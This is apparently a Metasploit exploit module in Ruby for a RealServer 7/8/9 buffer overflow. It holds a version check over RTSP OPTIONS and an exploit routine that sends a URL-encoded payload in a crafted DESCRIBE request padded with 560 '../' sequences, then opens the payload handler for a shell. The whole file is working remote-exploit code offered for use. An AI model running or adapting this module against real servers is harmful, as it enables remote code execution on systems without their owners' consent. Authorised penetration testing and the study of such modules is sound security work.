79 lines
1.8 KiB
Ruby
79 lines
1.8 KiB
Ruby
require 'msf/core'
|
|
require 'msf/core/exploit/http'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Multi::Realserver::Describe < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'RealServer Describe Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in RealServer 7/8/9
|
|
and was based on Johnny Cyberpunk's THCrealbad exploit. This
|
|
code should reliably exploit Linux, BSD, and Windows-based
|
|
servers.
|
|
},
|
|
'Author' => 'hdm',
|
|
'Version' => '$Revision: 3110 $',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '4468'],
|
|
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],
|
|
[ 'MIL', '51'],
|
|
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d",
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Universal',
|
|
{
|
|
'Platform' => [ 'linux', 'bsd', 'win' ]
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Dec 20 2002',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
response = request(
|
|
'method' => 'OPTIONS',
|
|
'proto' => 'RTSP/1.0',
|
|
'uri' => '/')
|
|
|
|
if response and response['Server']
|
|
print_status("Found RTSP: #{response['Server']}")
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status("RealServer universal exploit launched against #{rhost}")
|
|
print_status("Kill the master rmserver pid to prevent shell disconnect")
|
|
|
|
encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }
|
|
|
|
request(
|
|
'method' => 'DESCRIBE',
|
|
'proto' => 'RTSP/1.0',
|
|
'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi")
|
|
|
|
handler
|
|
end
|
|
|
|
end
|
|
|
|
end
|